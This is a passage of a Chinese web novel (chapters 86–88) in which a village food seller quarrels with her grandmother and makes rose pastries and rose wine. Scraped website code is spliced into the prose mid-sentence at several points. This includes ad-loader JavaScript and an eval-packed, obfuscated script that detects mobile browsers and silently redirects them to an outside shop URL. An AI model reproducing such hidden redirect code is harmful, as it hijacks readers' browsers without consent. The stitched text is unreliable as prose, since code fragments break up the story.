张简想了想,问道: “价格都一样,那这馒头能和凉糕拼不?” 丁宝珠知道他这是想先买一个尝尝看,便颔首道: “能啊,一个馒头与一块凉糕也是五文钱。” 于是张简买了个馒头,又买了五块凉糕。 竹制品在村里还是畅销的,所以这些钱对他来说可能真不算很多。 丁宝珠将凉糕都包在一起,独拿一张油纸,包了个馒头递过去。 张简接过后,只感觉手心里热腾腾的,果然是才出炉的,便在那馒头上吹了几口气,才大咬了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一口。 馒头本身没有什么好说的,就挺有嚼劲,但是那细腻甜滋滋的豆沙馅儿却是慢慢涌了出来,散发着浅浅热气。 张简吸了几口气才咀嚼起来,支吾说着: “虽然现在天气热了,可这大早上的,还是得吃点热乎乎的暖胃。娘子,我也去我摊上了哈,祝你这生意红火!” 丁宝珠道了谢,送走张简,便又开始叫卖起来。 今天有了那馒头,来来往往的行人中,过来买的客人果然多了些,当然也有过来买麦冬熟水的,同样是自带杯优惠。 不过就在这时,忽然有个人站在远处多看了会儿丁宝珠,最后才上前来,问道: “娘子,你这里还卖松针汽水不?” 丁宝珠咦了一声,眼前的人她实在是没印象了,可既然知道她卖过松针汽水,就一定是在镇上时光临过她摊子的人,便问道: “镇上就有卖松针汽水的吧?客人咋不去那里买呢?” “我记得一开始好像是个摊子上卖的,方才我见娘子眼熟,确定了才过来。” 那人解释着,又稍稍不满道: “现在的确是客满楼在卖,可是他那里要四文钱一份呢,但我记得在摊子上买,也没那么贵啊。” 丁宝珠没有多说什么,只是问道: “他那里不知卖得如何?” “你不清楚,自从客满楼开始卖松针汽水后,他那里的客人就更多了,听说那掌柜的还开始收购松针了呢,只是也没有多少商家是专门卖松针的,所以还花钱雇人去采松针哩。” 这客人似乎颇想抱怨,所以也一五一十地告诉了她: “我听说那松针汽水,味道倒还是一样的,但是吧,那边到底是要贵一些,所以我见到了你,就过来问问了。” 丁宝珠这时才笑道: “我这是没有松针汽水了,但也有新的饮品,今日卖新煎的麦冬熟水,客人要不要买来尝尝?” 可显然这人就是想喝松针汽水,对其他的饮子就不感兴趣了,于是婉拒,后来想了想,他依然是往镇子的方向而去了。 距离丁宝珠卖了方子也仅有数日,但是想必已经卖出不少松针汽水了,那价格还比她实际卖的贵上一倍多,看来这客满楼的福气还在后头呢。 但丁宝珠也不怎么后悔,毕竟她还是有收获的,而她现在要做的,就是把这笔钱再生出钱来。 继续吆喝,而没过多久,她就看到路过的几个大汉。 他们身后都背着一个大筐,而筐子里面装满着绿油油的东西,密密麻麻地叠在一起。 丁宝珠眼尖地发现,那竟然是大量堆积的松针——看来他们就是宋昌易雇佣的去采松针的人们了。 丁宝珠在他们又前进了点后,挥手喊道: “卖麦冬熟水咯!清热解渴的熟水!便宜又解渴!——” 这么一喊,那几个背着筐子的大汉果然注意到了,有几个也是满头大汗的。 他们貌似并不是一个完整的团队,其中几人停了停,抬手擦擦汗,便走过来问道: “娘子,你这一碗水多少钱?” 丁宝珠笑着回答: “郎君若是有自带的容器能接水,只要一文五分就行。” “好,正好我带了竹筒,你给我打一壶。” 那大汉说着,从腰间取下一个竹筒递过来。 丁宝珠比划了下,提醒道: “郎君,你这个竹筒比较大,我得收两文钱,可以不?” “行行行,你快打吧,我快渴死了!” 那大汉摆摆手,下颔那又流下了汗珠子。 其他汉子见了,有的实在渴,也纷纷拿出了自己的容器来,可是那没有容器的却不满道: “娘子,你这咋也没有碗啥的?我们岂不是喝不到了?” “是啊是啊,最好还有几套桌椅,咱们也能歇歇脚。” 丁宝珠一边打着水,一边带着歉意笑道: “各位郎君,我这还只是一个简易的小摊子,但是郎君们这样光顾我这儿,我肯定能早日开个铺子了,到时候郎君们再来啊。” 最先买的大汉接过水筒,咕嘟咕嘟大口喝了起来,囫囵吞了,也没尝到什么明显的滋味,但好歹减缓了些口渴,这才揩嘴说道: “你倒会说话!不过俺们这次也是被那镇上客满楼的掌柜雇来干活的,之后还不知能不能再见呢。” 丁宝珠笑道: “那我们至少也有一面之缘了,今后也好相见呀。” 其他汉子也喝着熟水,有一个喝完,不禁问道: “话说回来,那掌柜的为啥非要那么多松针不可?” 很快就有人回复他道: “这你都不知道?那客满楼开始卖一种饮子了,就需要这松针!而且听说生意还不错呢,需要的量也就多了,还雇我们去采咧!” “我也听说过,据说那口感很奇怪,但是也能让人上瘾……真不知道是啥怪味?” “耶嗬!他那饮子一份要四文钱呢!四文钱买啥不好,就买一份喝的?那也太亏了,多好喝我都不买!” “那也架不住有其他那么多人去买,不过那客满楼掌柜的人倒是挺好,活该他能赚大钱!” “羡慕个啥,咱们还是赶紧把这些东西送过去,好领赏钱喝酒去……” 解过渴也休息好了,那些大汉就离开了,接着往镇上的方向去。 而丁宝珠则是收了水钱,心满意足地接着售卖。 86. 步步云片糕 丁宝珠在午时吃了块凉糕垫补垫补,又打开另一个保温桶查看。 里面的吃食果然还是温温的,看来等以后有条件了,这保温桶不仅要多做几个,里面的保温材料也可以升级一下。 又过了几刻钟,她带的吃食终于是卖完了。 现在已经是饭点了,所以之后过来的,都是想买抹茶红豆馒头的客人,还是馒头比较适合做正餐吃。 不过凉糕也是有受众的,比如说那些纺庄的妇人女子,还有仍是去村塾读书的学子。 就连荆芥也来了,也是买凉糕,不知是邱大夫吩咐的,还是他自己也想吃,所以直到最后也全卖完了。 于是丁宝珠重新挑起担子,就往村里而去。 不过她也没有立刻回家,而是晃晃悠悠地就来到了丁家门口。 自从丁笙中了童生,丁家的客人也就多了,不过此时也是饭点。 丁宝珠抬头往院里一瞧,倒是没想象中的那么热闹,就直接往里进去了。 然而正巧和一人撞了个照面。 那是个双鬓已经花白的妇人,额头包着一根绀色包巾,身上穿得有些花花绿绿的。 满脸皱纹,笑起来就更是条条沟壑了。 只是丁宝珠在那瞬间,却发现她是板着脸,嘴里也不知在叽叽咕咕着什么,看起来很有一股怨气。 而这妇人抬眼见到丁宝珠,面上又不由得大吃了一惊,好半会儿才结结巴巴道: “你……你是珠姐儿?” 丁宝珠认不出这人是谁,但是她穿得,倒有些像是某个职业的人,也就笑了笑,先敷衍过去,就去了三房屋子那儿。 那妇人蹙着眉心里纳罕,最后却是摇摇头走出了丁家。 丁宝珠敲门后,是姚丹过来开的门,一见她就不禁笑逐颜开,说道: “哎呦,大侄女儿,你来啦?快进来。” 丁宝珠放下担子进去,便闻到一抹还未消散去的香味,应该是三房已经吃过了饭,或者还没有吃完。 放眼一看,室内的一张桌上果然还放着饭菜:有香菇炒的油面筋、韭菜炒的鸡子、一碗笋干做的汤,还有一盘像是炸小鱼儿。 丁绍大概是喝了点酒,这个正好可以下酒。 在村里,这么一顿已经算是吃得不错的了,不过这些食材大都有迹可循。 比如那香菇、韭菜和笋子应该都是自己去采的,小鱼儿估计也是自己去抓的,唯有那面筋子,可能才是是买来的。 但是这么一顿接地气的,充满乡村风味的饭食,才是真正能有着怡然自得的气息。 姚丹心思灵敏,立马就问道: “都这个时辰了,大侄女儿吃过没?没吃过的话,就在三婶家里吃点吧?” 丁宝珠连忙婉拒道: “不用了三婶,我过来还是来买鸡子的,买完就回去了,不叨扰你这里。” “这哪能说是打扰?再说等你回去,那饭时都过了,不如在我这先垫巴两口哩。” 姚丹劝道: “再说了,你都许久没回家看看了,到时离了我这,再见见你娘去。” 看来姚丹倒是没觉得嫁了人就不该回娘家,但这也是因为房里给她的底气,毕竟丁绍偶尔,或者说过年过节之时就会带她回娘家瞧瞧。 一眨眼的功夫,姚丹把饭都盛过来了。 盛情难却,丁宝珠只能留了下来。 丁绍似乎喝得多了些,便道: “大侄女儿留下来好,可以陪我喝两杯!” 姚丹瞪了他一眼,又拍打了下,不悦道: “你上头了?说的啥胡话?哪能让大侄女儿陪你喝?” 丁宝珠摇摇头道: “没事的三婶,我能喝酒,看样子三叔心情不错,我是小辈,就是陪一杯也没事的。” “况且我现在在夫家里,也少不得碰呢,醉不了。” 她说着,便爽快地自斟了一杯喝下,品品味道,果然也是普通的米酒。 丁绍看得乐,叫女儿宝姜去拿了一包糕点过来。 那丁宝姜本来就吃过了饭,原本是被姚丹控制着她吃多少,眼下大姐来了,肯定能跟着吃两口,就与她爹一般乐了,忙不迭就取了过来。 姚丹看着父女俩,无奈地叹了口气。 丁宝珠把那糕点上的红纸拆开,发现是几块雪雪白的云片糕,里面还嵌着核桃果仁,便笑着问: “三叔三婶最近是有什么好事了?” “哎呀,能有啥好事儿,不就是你那大房的堂弟弟中了童生了吗?” 姚丹说着,却也喝了杯酒道: “从知道消息后,你是没见到你奶奶,还有你大婶儿,那笑得就和花开一样!” “没两天连村长都来了,还送了这些步步糕来。你奶奶有心炫耀,这糕点就每房都分了些,现在他可真是成了咱家的金疙瘩了,就没人能够忤逆他的!” 丁宝珠听了,一壁吃着饭,又问道: “我方才进来时还遇到一个妇人,面生的很,她是哪个?” 姚丹捂嘴笑道: “大侄女儿,你忘啦?她是咱村里的媒婆啊!” “现在你堂弟弟的事,整个村都知晓了,他又是到了能娶亲的年龄,所以这几日还有不少亲事送上门呢!” “只是你奶奶和你大婶眼界高,如今觉得一般的媳妇,都配不上她们的孩儿,那窦媒婆每每上门一次就被拒一次,你是没看到她那张脸,也是越来越臭,笑都笑不出来了!” 怪不得丁宝珠瞧着还是有点印象的,尤其是她的穿着,太有刻板印象了。 而象山村里,其实就这么一个媒婆,也是那个不接丁宝珠这笔生意的媒婆。 不过蒋氏和吴棠能这么做,她竟然都不觉得奇怪,现在丁笙正式成为了她们的心肝宝贝,那还能和往昔一样么? 而村里就出了这么一个,能够接着往上继续读书考试的童生,其他家里自然想过来攀层关系,万一丁笙真读出了名头,甚至还做了官儿,那自己的女儿不就是官娘子了? 官员的岳丈岳母,那可是极其有面儿的,这辈子都有了。 只是……这后半段估摸着是悬咯。 而且嫁到丁家,特别是做大房的儿媳妇儿,丁宝珠都可以想象得到,那将来家里是怎样的一副场景了。 “反正那也是大房里的事情,和我们无关,我们还是就做做小生意,把日子过好得了。” 丁绍夹了根小鱼儿,又咪了口酒,颇有点随遇而安的心态。 不过在丁宝珠的眼里看来,主要还是不卷,毕竟三房还是有自己的事业做的。 姚丹嘁了声道: “要我说,我家焕儿就不比他差!哼,要是我的焕儿没去做学徒,而是也去读书,肯定比他早有成绩!” 丁绍一听,酒意都醒了大半,连忙摇头道: “可别,他去做做学徒,等学出来自立门户难道不好?我们只需要交一笔学费就好了。” “你再看大哥那儿,这几年要连着交束脩,还又要花钱买笔墨纸砚,又要花钱买书,花了几年钱也听不见个响儿, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 就和丢进水里一样。” “这次终于见着好了,却也是一时的,童生还要继续往上考哩!咋说也要再考个秀才才有用,又不知大哥他们要花多少钱了!” 姚丹嘀咕道: “我这不也是说说而已?要是真去读书,那我们得卖多少鸡子啊?” 丁宝珠在一边静静听着他俩絮叨,又见丁宝姜盯着那云片糕,便悄悄把糕点往她那推了推,后者对她笑了笑,拿了一块儿就撕着吃了。 “三叔三婶,我吃好了,再买点鸡子我就回去了。” “嗳嗳好,大侄女儿吃饱了没?我带你去称鸡子去。” 姚丹说着,便带她又去了老地方。 丁宝珠发现少了几个坛子,大抵是三房又腌了蛋卖出去,得了一笔钱了。 “大侄女儿,正好我们也攒了些鸡子下来了,你要多少?” 丁宝珠离开前,那李银屏也的确拿钱出来给她了,数了数,她便答道: “那就买个三斤吧。” “咦,这次你要那么多啊?” 姚丹问着,以往丁宝珠过来买,都是不到这个数的。 丁宝珠笑道: “这不马上要到立夏了,那时候人人家里都要吃鸡子,所以我不仅自己家里吃,还要试试卖出去呢。” “哦对对,你现在还在外面做买卖,我倒是听村里人讲过几句,说你做得还不错呢。” 姚丹想起来,就给丁宝珠挑了好的鸡子装上,又道: “你说的是,每逢那时,也是我们生意不错的时候,这几日我都在给我家鸡做新饲料了,就想着在那之前能多下点鸡子,你妹子宝琴也出力不少呢。” 丁宝珠笑道: “能帮上三婶你就好了。” 一开始过来买鸡子,丁宝珠都是按两文钱一颗的价格买的。 买了两次后,姚丹就不要了,也是恰逢后来鸡子开始降价,成了一文钱一颗,此后姚丹就一直按照这个价钱卖了。 装了三斤鸡子,姚丹这时却又从另一个坛子里取出了什么,一起放在那篮子里,笑道: “大侄女儿,我这才腌好的松花蛋,你带两个回去尝尝吧。” “这松花蛋你就剥开,随便切切,然后拌个豆腐,撒点调料,又清爽又下酒,你三叔最近可喜欢吃了,你公公肯定也喜欢!” 丁宝珠低头一看,原来是外表裹着泥料的蛋,便笑道: “那就多谢三婶了,到时候我还来你这买蛋回去。” “那感情好,只要我这有,你尽管来就是了,不过要是没有的话……那你就只好去别处啦。” 两人正在说笑,却见丁绍这时耷拉着头,也来到屋后了。 姚丹柳眉一皱,问道: “你干啥这么垂头丧气的,是不是发生啥事了?” 丁绍叹道: “还不是刚刚娘来找我,看中了咱们腌的那松花蛋了吗?说是要拿了去送礼——咳,我可是婉拒过的哈,但是娘那性子你也知道,东西要不到就撒泼了,媳妇儿,这可咋整?” 姚丹当即就跳脚起来,不悦道: “我就知道这不是件好事,这几天她请了多少客?就差没摆席了,不知道的,还以为她好孙儿中状元了呢!哼,咱们去瞧瞧!” “大侄女儿你也跟上吧,不过你得做好准备,你奶奶这几天可威风得紧,实力也是大增,怕是你得过了她那关,才能全身而退呢!” 听着姚丹的揶揄,丁宝珠也勾了勾唇,说道: “行,我们走吧!” 87. 是非之地 丁绍看着婶侄二人,也是在后面跟着。 他倒不是故意把这件事推给自己媳妇的,而是只有姚丹能和蒋氏摩擦,还不落下风。 而等三人前去,那蒋氏早就在院里等着了。 一见到丁宝珠,她就下意识地不悦,只是她这几日心情好,便不想和她多计较,直接就对丁绍姚丹两夫妻吩咐道: “老三,老三媳妇,我记得你们是腌了几坛子松花蛋吧?” “时间也差不多了,就拿一坛子出来,我给村长家送去,到时候有啥好处也有你们一份!” 这大饼画得还真够圆的! 姚丹想着,看蒋氏这个架势,哼声道: “娘,这松花蛋腌起来比咸蛋还麻烦呢,我们也是最近才得了,不瞒您说,我们已经提前预售出去了,钱都拿到手了,也退不回去了。” “咱们做生意的,最重要的就是讲诚信,所以村长那边,还是再往后等等吧!” “你说啥?” 蒋氏果然立马就沉下脸来: “我说你这儿媳妇,咋那么不知好歹,那村长是啥人,其他人能比吗?” “咋也不看看先后,就把才腌好的蛋给卖了?别是故意诓我的吧?” 反正姚丹就是死咬着不松口,蒋氏阴着脸,她的好孙子终于是有出息了,哪能让这些小事,坏了他在村里的名声? 然而就在这时,她突然发现丁宝珠的篮子里,倒是有几颗泥巴蛋。 而蒋氏又怎么可能不明白那松花蛋是咋来的,立时怒道: “你说你卖了,卖给谁了?总不能是她吧?整整一坛子,还能只卖几颗出去的?我看你就是在那唬我,不愿意交出来吧?” 姚丹还没回答,那蒋氏就又对丁绍抱怨道: “老三,你瞧瞧你媳妇儿现在被你惯成啥样了?这样忤逆婆婆,还有个媳妇样子不?你平时是咋管教她的?” 丁绍哼哼唧唧地敷衍过去,蒋氏就愈发怒火中烧,指着夫妻俩就大声道: “好好好,你俩现在是拴在一条绳子的蚂蚱了是不?” “我可真是生了个好儿子,现在学会胳膊肘往外拐了,连娘的话都不听了!到时候我老丁家有了啥好处,没你们的份儿!” 蒋氏气呼呼地说完,又偏头过来迁怒丁宝珠道: “你也是,嫁都嫁出去了,还来这么勤干啥?外人来做客都没这样的!就算是来买东西,买这么多在那大摇大摆的,看把你能的!” “哎呀,这是咋了?在院里吵得那么凶?” 柳萍在屋里听到响动,原本不想多事的。 可不经意间察觉到了一个熟悉的身影,也就出门,果然见到是丁宝珠来了。 但柳萍的出现,反而更让蒋氏的怒火升腾,张嘴就骂道: “吵得那么凶?还不是因为你养了个好女儿,把家里人都带坏了!” “都嫁人了,还是那么阴魂不散,现在教唆着别人也违逆我,那以后整个家还不是要翻了天了?!” 柳萍见蒋氏发火,便向丁宝珠使了个眼色,可后者非但不接,还冷笑了一声道: “行了吧,你当三叔三婶那么蠢,白白就给你一坛子松花蛋?还说什么好处,十几年了也不见得真有啥好处!” “如今不过是考了个童生罢了,连个秀才都没挣到,就开始吆五喝六的,等要是真考上,翻了天的人也不知会是谁?” “我有这些松花蛋又怎么了,我是花了钱的!可不像某些人想白吃,吃不到就在这里撒泼乱打,没个正形长辈样!” “你!” 蒋氏一愣,当下便指着气道: “丁宝珠,你身后插翅膀,长本事了?你竟然敢骂我?!” “原先我就知道你是个没教养的,现在更上脸了?!” 丁宝珠啐了一口道: “你先前不还说我嫁出去了,就是比客人还不如的外人了吗?既然是外人,我现在眼里见到的,就是一个在为难人的老泼妇!” “难道你以前耍泼还少了?你是硬要公鸡下蛋,理这个字,你都卖给阎王爷了吧?好意思说我,闭气前你还是要点脸吧!” 蒋氏这回不仅是气,更是像真的要被气到嗝屁了,一张老脸涨得通红,深深呼吸着,却半天也吐不出一个字来。 柳萍吓得赶忙去拉丁宝珠,就往大门外去,嘴里念道: “你这孩子,今天是吃了啥了?和你奶奶吵个啥?” “娘,她以往有个奶奶样儿吗?再说了,她早不认我这个孙女了,现在也视我为外人,而且我今天确实就是个过来买鸡子的人,她大骂特骂,扯上什么都骂几句,那我还能忍着?不得顶几句?” “你看你,以前的脾气咋还又回来了!你奶奶这几天忙着招待客人,好不容易安分些,你又招她!” 柳萍略带不满地说道。 丁宝珠无奈道: “娘,莫非你就一直这么忍着被她骂?你看看人家三婶,对上她根本不在怕的,她也就没再找什么大麻烦了吧?” “她就是专挑你这种软柿子捏,你就不能硬气一点?不然我在夫家也还要担心!” “这次是她要一坛子松花蛋,所以才去为难三婶,到时候又出了什么事,又去找你和爹的茬,那该咋办?” 柳萍叹了口气道: “谁不知这个道理呢,可到底来说那也是我婆母,是你的爹的亲娘啊。” “顶几句倒也行,但也别这么气她,万一真把她气出个好歹可咋整?” 就在这时,那院里蓦地传来了其他人的喊叫声: “哎呦喂!娘,你这是咋了?!——快、快来人啊!” 柳萍大惊失色,回头望去,却见吴棠也从屋里出来了,一边叫嚷着,一边扶着往后倒去的蒋氏。 但是家里目前在的男丁也只有丁绍一个,便也上去扶了,可那吴棠似乎不想让他碰上,这连连推搡,那场面别提有多混乱了。 柳萍推着丁宝珠急道: “行了行了,你快回去吧,闹了这么大的事,你不在是最好的!” “娘,既然这事是我闹出来的,我回去,不就把锅甩到你们身上了?我可不是那乱甩锅的人!” 丁宝珠摆摆手,蒋氏一向身体好到都能够跟着下地了,哪里会被她激了几句就倒地? 于是她像模像样地喊道: “哎呀,这不是何婶子、陶婶子和吕婆婆嘛,啥?是听到我家的动静,过来瞧瞧了?” 而那蒋氏一听到这话,深怕这情景被邻居发现,那未免也太丢人了。 要知道丁家这时正是最为得意的时候,任何一处地方也不能有纰漏的,便立刻睁开了眼睛,拍开了吴棠的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13917325|136164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后来的吴棠还真以为蒋氏是被气的,却没想到后者又登时变得生龙活虎起来,惊讶道: “娘,你这……” 丁绍很快就想明白了,不禁怨道: “娘,你也老大不小了,还玩这种把戏?您老还真是不知羞呐!” 他说完,干脆拉着姚丹就回屋去了,至于那松花蛋,他也是不想直接交出来的。 蒋氏往地上吐了口痰,叉着腰不解气地骂了几句: “真是娶了媳妇儿就忘了娘,不孝的货,也不知给你吹了啥枕边风了,不听娘的话,以后有你好受的!” 她骂完,又朝门外看去,果然除了柳萍母女,压根就没有外人,继续骂道: “挨刀子的□□鬼泼贼妇,以后别让我看到你再出现在丁家,否则我就拿棍子打你出去!——老二媳妇,你给我滚回来!” 柳萍听后,终于是忍不下去了。 平常她受着蒋氏的阴阳怪气,倒也忍下就罢了。 可对上丁宝珠,蒋氏就连阴阳都算了,还骂得那么脏,她都舍不得骂自己女儿,还能让她骂了,便也突然大声道: “娘,我说你到底在嚼啥舌头根呢?我这姑娘一生下来就招你恨,如今嫁出去了,你还是不放过?!” “巴巴仗着自己那张怪臭老粉嘴,不清不楚的扯什么淡?也不怕遭了报应,短了命!” 蒋氏更是震惊,寻常她见柳萍一声不吭的好欺负,可没想到竟然也这么能说。 这回她是真的破防了,气得双肩乱颤,道: “好……好个平日里闷声不响的儿媳,等老二回来了,看我咋让他收拾你!” 柳萍哼声道: “你去好了!把这件事的来龙去脉都告诉老二,以他的脾性,看他是向着谁!” 蒋氏气得怒目圆瞪,接着威胁道: “你……你这肚子里没种的货,还敢骂婆母了?信不信我叫老二休了你?!” “你去说好了,看他答不答应,退一步说又不是只有我骂你,要休就一块儿休了,还省了笔墨呢!” 柳萍喊完,带着丁宝珠就进了屋,再不看蒋氏一眼。 而一直在的吴棠听了后,莫名有些心虚,只好道: “娘,我们跟他们一般见识做啥?先进去吧?” 蒋氏剜了她一眼,没好气地撒着火道: “平日里见你那张嘴能说会道的,今天是被缝起来了还是怎的?你娘被骂了也不知道帮衬几句,要你有啥用?去去去,别在我眼前晃悠!” 说着,她便气冲冲地回了屋,而平白无故受了委屈的吴棠,却也只能忍气吞声地后脚进去了。 柳萍回到屋后,不禁一阵后怕,还喘了几口气。 丁宝珠笑道: “娘,你刚才的样子实在是太厉害了,连我都甘拜下风呢!以后你就该这样,省得她看你觉得好欺负,就光刁难你一个人!” “……你还别说,那些话讲了之后,心里还挺畅快的咧。” 柳萍拍拍胸膛,却又叹道: “有这一回也差不多了,最好以后也别有了,我这胸前可闷得慌。” 翻过这事,柳萍又与丁宝珠唠了几句家常,就让她快点回去了。 后者见时间也差不多了,便拿着鸡子,也重新挑起担子,离开了这个是非之地。 88. 玫瑰卷酥 回到家后的事情暂且不提,且说这几日丁宝珠,一直在卖那凉糕和豆沙包。 但卖完以后,她却是在暗暗筹备着新吃食,所以也能算是个过渡。 而这新品吃食,自然就是她从宋昌易那里,薅过来的那些玫瑰花瓣了! 不过她这里是没有客满楼那么多花头的,所以就准备做一些点心拿去售卖。 可就算是做点心,她也得先将这些玫瑰花瓣提前做成一个基础食材——玫瑰酱。 把那玫瑰花瓣洗净,找来容器,先是一层花瓣,一层糖摆放在一块儿进行腌制。 之后在倒入锅中开始熬煮,煮到那质地细腻、颜色深厚、香味浓郁,再重新放回容器中。 就这还不够,最好是再发酵发酵,所以要做完这玫瑰酱,怎么也需要几日才能好。 而为了这玫瑰酱,丁宝珠特意买了以前从没买过的冰糖来制作。 那甜味不仅能够加清爽,熬出来的酱料也是晶莹剔透的。 这回她可算是下了血本了。 等玫瑰酱彻底制成,再打开盖子,一股浓烈的、甜美微酸的芬芳就扑面而来。 紫红色的酱料在光线下,甚至折射出了一抹浅浅的晶亮,隐隐约约还能见到若有若无、丝丝缕缕的玫瑰花瓣。 若说那枣泥与豆沙馅儿可以炒得更顺滑,这玫瑰酱却是能在里面多出一些原材料的口感的。 这样咀嚼起来能更把食材的香味散发出来,嘴里充溢香味的速度也快。 宋昌易的那些玫瑰花瓣其实总共也没多少,不知究竟是从哪里采购而来的,但估摸着也是瞧着新鲜,就买来试试看看,能不能让酒楼出什么时令新品。 现在全部被丁宝珠薅回来后,在里面注入水和调料那么一熬,份量就增多了点,最后的成品装满了一个坛子后,又再装了小半坛子。 对于这数量,丁宝珠还是比较满意的,毕竟在这玫瑰点心上,她定的价钱恐怕不会太低。 可去那大道儿买东西的,都是村里人,要说她之前的那些糕点定价,兴许还会有人来瞧瞧,但这玫瑰糕点估计也就只会来瞧瞧了。 所以最好是只有出摊一次的量,卖完就结束不卖了,也不浪费。 一整个坛子的玫瑰酱,丁宝珠预备用来做点心。 而剩下的那小半坛子,她想着运用在自家上做些吃食出来。 她首先取出了一份新酒曲和新糯米,准备再酿酒。 反正她之前也买了那么多坛坛罐罐,里面不放满东西,那就属于是浪费! 只是这次酿的酒里,她加入了一些自制的玫瑰酱,这样就成为了玫瑰酒。 遥想上一回她做的还是桃花酿,不过是有些颜色,还有些桃花的香味罢了。 可玫瑰酒就不同了,味道浓烈的玫瑰酱只要添上几勺,那颜色就和直接染上去了一般,就连那味道也是一种带着花香的甘甜。 这玫瑰酒多存放几日,倒是能够和新点心一起拿出去卖了。 在此期间,丁宝珠也是开始做起了她设想好的新吃食。 一半的玫瑰酱让她做成了玫瑰方糕,这里的人爱吃各种糕,不管是糯叽叽的还是粉叽叽的。 这方糕就是需要在内部挖出一个小洞口来,里面填入玫瑰酱,最好再来一小勺猪油。 之后拿去上锅蒸就成了,顶部还有那瑰丽的红色作为点缀。 而另一半的玫瑰酱,则是让她做成了玫瑰卷酥。 这卷酥又是与方糕不同的做法了,特别是那盛着玫瑰酱的本体,是用涂了油的面团,一个个卷成的面卷子。 最后还要下油锅炸,炸得表皮金黄酥脆,那才妥了。 丁宝珠事先做了半成品,第二天一大早她就起身来,把糕蒸了,又把卷酥炸了,刚刚好能够各自放满两个保温桶里。 徐晔最近不知怎的,在她起来后不久就也起了,还守着她做好吃食的时候,上前来说,要帮忙带东西一起去。 有人帮忙,丁宝珠自然愿意,只是徐翊等人,不知是不是也看出了什么,皆不开口,却是没有不愿意的意思。 只等又来到了大道儿上,那徐晔还不太想那么早走,只是最近天气热,村里田间的农人们又开始忙碌起来了。 最先的,就是那水稻田中正在进行大面积的栽插。 徐家虽然没有稻田,但是地里也开始不断生长杂草,出现害虫来,所以仍是要徐晔去帮手,就连抓蛇一时也顾不得了。 丁宝珠算着时辰,答应他今天早早回去,这才哄他走了。 只是在后面见他走了,不知为何,她却是也觉得心头那,莫名稍许暖溶溶的。 身上有了劲儿,丁宝珠便扯开嗓子叫卖道: “玫瑰方糕!软软糯糯,香甜的方糕!—— 玫瑰卷酥!外酥里嫩的玫瑰卷酥!还有新酿的玫瑰酒!快来买咯!——” 这名字听着就很漂亮,一出口就有人驻足,往她的摊子上瞧了瞧。 有人已经认识她了,便问道: “娘子,你今儿不卖凉糕了?今天又不知有啥新的好吃的了?” 丁宝珠笑道: “才得了一批新食材,就想着做成吃食。客人们不如尝尝看?” 她说着,就把那保温桶的盖子给打开了。 众人一瞧,一边是白馥馥足有掌心那么大的方糕,中间还嵌着一颗玫红色的馅心子; 一边是稍小一点的金黄卷酥,还冒着袅袅热气,一定是刚做好的,可想而知,那口感能有多么酥脆。 更别提那范围里还散发着一股幽幽甜甜的花香,有人闻到后,迫不及待地问道: “娘子,你这点心也太香了,咋卖的呀?” 丁宝珠笑道: “玫瑰方糕五文钱一块,玫瑰卷酥四文钱一个。” 那人“啊”了一声,挠挠头道: “娘子,你这价格可有些贵了啊。” 用这价格买来的吃食,那都是能作为礼品送人的了,自己吃可不舍得吃。 丁宝珠说道: “客人这就不清楚了,我这是自制的玫瑰酱,用的料那是顶好的,价钱自然要贵一些。” “而且我也就只卖今天一天,以后恐怕就没有了,过了这村,那可就没这店了。” 虽是这么讲,但这价格,仍然是劝退了一波客人。 另一波也是迟疑片刻,最终还是没有买下这样贵的点心。 丁宝珠也不气馁,还有好几个时辰,总能让她遇到要买的客人。 只要卖出一次就是开张,一有人买,那生意大概也能慢慢来了。 幸好她做了保温桶,要知道这方糕和卷酥都是要趁热吃才是最好吃的,这样也能以最好的状态卖给顾客。 正想着,丁宝珠却听见忽然有人喊了一句: “姐姐!” 她转过头,见到那个也是挑着扁担,缓缓走过来的女子,便笑道: “冬儿妹妹,你来啦?” 认识过后,两人就互相报了生日,叶冬儿比她还要小一岁多,所以叫姐妹也没问题。 但叶冬儿虽然比丁宝珠的年纪还小,却已经嫁到夫家大半年了,村里普遍都是女孩及笄了,就能嫁人。 “姐姐,你最近咋不去镇上摆摊了呀?” 叶冬儿暂时把担子放下,倒也算是歇息,同时问道。 丁宝珠笑着说: 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“而且最近天热,我还听了你的主意,做了桑叶茶,准备一起卖哩。” 丁宝珠笑道: “那很不错啊,你还要接着去镇上,就早点出发吧,不然到时候摊子就多了。” “姐姐,我今儿一大早就开始做卖的吃食了,正好没有吃早食,不如我买你一份吃食尝尝吧。” 明明桶盖子是关上的,可离得近的叶冬儿,仍是在外部嗅到了一抹幽香,像一个无形的钩子,搅得她肚里敲鼓起来。 丁宝珠抿唇玩笑道: “不巧了,我今天卖的是糕点,一份不便宜,到现在都还没开张呢。” “我说姐姐,你现在可别小看我了,虽说我摆了摊子赚了钱,就要贴补给家用,但我又不傻,还是偷偷攒了点钱下来的,你这我肯定买得起。” 叶冬儿拍拍胸膛道。 丁宝珠听着,倒是有些欣慰。 本来她还真有点担心,叶冬儿会一股脑儿把赚来的钱全部上交,没想到还是留了点私房的,便笑道: “那好啊,我今天开张就靠你咯——你是要方糕,还是要卷酥?” “要一块方糕吧,我喜欢吃糕。” 叶冬儿说道。 丁宝珠就用油纸包了一块方糕递过去,而叶冬儿也交了五文钱,随手把油纸包放在了筐子,就重新挑起担子道: “那姐姐,我先走了,下回见!” 丁宝珠挥了挥手当做告别,而这生意开张了之后,果然也到了每日固定的早高峰时段。 这行人多了,她再叫卖,过来问询的人自然也就多了。 虽是依然少有人买,却也是卖出去了几个方糕和卷酥。 这两个吃食里面的玫瑰酱里还特意多加了点猪油,就让那甜美的酱料中多了几分肥腴,热热吃着,甘香四溢。 